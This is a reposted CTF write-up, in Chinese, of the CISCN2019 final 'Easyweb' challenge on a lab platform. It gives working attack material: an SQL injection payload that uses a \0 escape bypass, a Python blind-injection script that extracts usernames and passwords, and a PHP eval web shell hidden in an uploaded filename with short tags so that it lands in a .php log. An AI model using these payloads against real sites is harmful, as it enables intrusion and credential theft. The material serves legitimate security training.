[CISCN2019 總決賽 Day2 Web1]Easyweb


0x00 知識點

1:備份文件泄露
2:SQL注入
3:php短標簽

短標簽 需要php.ini開啟short_open_tag = On,但 不受該條控制。

0x01 解題

首先通過robots.txt發現存在.bak備份文件,嘗試后獲取到image.php.bak文件,代碼如下:
打開得到源碼:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到:

單引號被過濾,由於存在轉義函數addslashes以及\0 '等也被過濾

構造payload:

http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23

可知拼接后密碼長度為20位,這里表名users和字段名password是猜的,也可以通過對information_schema庫進行注入獲取。
sql注入代碼:

import  requests

url = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
    l = 1
    r = 130
    mid = (l + r)>>1
    while(l<r):
        payloads = payload.format(i,mid)
        print(url+payloads)
        html = requests.get(url+payloads)
        if "JFIF" in html.text:
            l = mid +1
        else:
            r = mid
        mid = (l + r)>>1
    result+=chr(mid)
    print(result)

同理也可以獲取password

注入出來密碼登陸

隨便上傳一張圖片:

我們可以看到:

這里會將文件名和用戶名寫入日志文件。但是這里日志文件為php格式,考慮寫入shell。由於用戶名只能為admin無法利用,考慮文件名注入。文件名進行了php/i過濾,可以使用短標簽繞過:

filename="<?=@eval($_POST['a']);?>"

這個文件名,會被寫入日志文件中去,然后用菜刀連接。
http://b06691a8-c225-436e-ada3-e0a41553926f.node3.buuoj.cn/logs/upload.9f87e416579a7b3819d20bf55d415223.log.php

參考鏈接:

https://www.jianshu.com/p/e0e59ed2d6d2


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM